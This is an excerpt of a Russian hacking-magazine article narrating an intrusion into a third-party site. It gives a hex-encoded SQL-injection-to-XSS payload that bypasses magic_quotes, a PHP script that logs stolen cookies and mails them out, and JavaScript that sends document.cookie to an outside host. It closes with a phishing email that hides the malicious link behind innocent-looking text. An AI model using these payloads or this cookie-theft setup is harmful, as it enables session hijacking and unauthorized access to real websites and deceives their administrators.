Воскрешение ботнета

_1nf3ct0r_ (dr.pascal@mail.ru)

Хакер, номер #084, стр. 084-072-2

Для начала я решил проверить, можно ли заюзать данный баг на вражеском хосте.

Немного помучившись с SQL-инъекцией для межсайтового скриптинга, в итоге я пришел к такому запросу:

+union+select+('<script>alert("Hello, World ;)");</script>');--

Но он тоже не был работоспособным. Насколько я понял, скрипт использовал включенную функцию magic_quotes, поэтому я использовал обход этой фичи (об этом написано в статье, которую я уже упоминал) простой конструкцией: 0x_код_символа_. Вот что получилось:

+union+select+0x3C7363726970743E616C657274282248656C6C6F2C20776F726C64203B2922293B3C2F7363726970743E2D2D

Здесь 3C7363726970743E616C657274282248656C6C6F2C20776F726C64203B2922293B3C2F7363726970743E2D2D это тоже самое, что и ('<script>alert("Hello, World ;)");</script>');--

Я подставил это в значение переменной id и обновил страницу, но надежды на удачную SiXSS-атаку не было. К моему великому удивлению, передо мной появилось приветствие! Когда скрипты здороваются с тобой, то это к счастью! :)

Осуществив XSS-приветствие, я не особо обрадовался, так как очень не хотелось мучиться с кукисами и социальной инженерией. Хочется сказать, что XSS-атаки довольно актуальны, примеры тому - XSS на narod.ru, mail.ru, rambler.ru, newmail.ru и даже microsoft.com. Если XSS - твой пробел в знаниях, то читай подшивку Хакера. Но вернемся к моему взлому. Для начала я, конечно, состряпал до боли знакомый PHP-скрипт (css.php) и залил его на забугорный шелл в зоне .it:

<?

if ($QUERY_STRING=="") exit;

$a=fopen ("data.dat","a+");

fwrite($a, "$QUERY_STRING" \n\n");

fclose($a);

echo "Uz3r_X553d";

mail ("lala-344-lol@mail.ru", "Uzer_waz_XSSed!_Eat_his_cookies! :)", "$QUERY_STRING");

?>

Скрипт располагался по адресу www.xss-shell.it/css.php. Следующий шаг - написание java-скриптa, который бы принимал чужие кукисы:

>asd</a><script language="javascript">open('http://www.xss-shell.it/css.php?'+document.cookie); </script><a>

Я привел его к шестнадцатеричному виду и получил в итоге что-то вроде этого:

+union+select0x3E6173643C2F613E3C736372697074206C616E67756167653D226A617661736372697074223E6F70656E2827687474703A2F2
F7777772E7873732D7368656C6C2E69742F6373732E7068703F272B646F63756D656E742E636F6F6B6965293B203C2F7363726970743E3C613E2D2D

Нехило, правда? Для такого кодирования я воспользовался обычным сишным перекодировщиком, который нашел в Сети. При нехватке трафика и времени можно воспользоваться WinHex'ом, который, наверное, есть у каждого «джентльмена» :).

Однако, если впарить такую ссылку админу, он заподозрит что-то не ладное :). Мы сделаем следующее:

1. Отправим админу письмо с сообщением о битой ссылке, вставив в письмо такой код:

<body>

<p><a href="http://www.victim.ru/sjok.php?id=%2B%75%6E%69%6F%6E%2B%73%65%6C%65%63%74%
2B0x3E6173643C2F613E3C736372697074206C616E67756167653D226A617661736372697074223E6F70656E2827687474703A2F2
F7777772E7873732D7368656C6C2E69742F6373732E7068703F272B646F63756D656E742E636F6F6B6965293B203C2F7363726970
743E3C613E2D2D">http://www.victim.ru/asd.html</a>.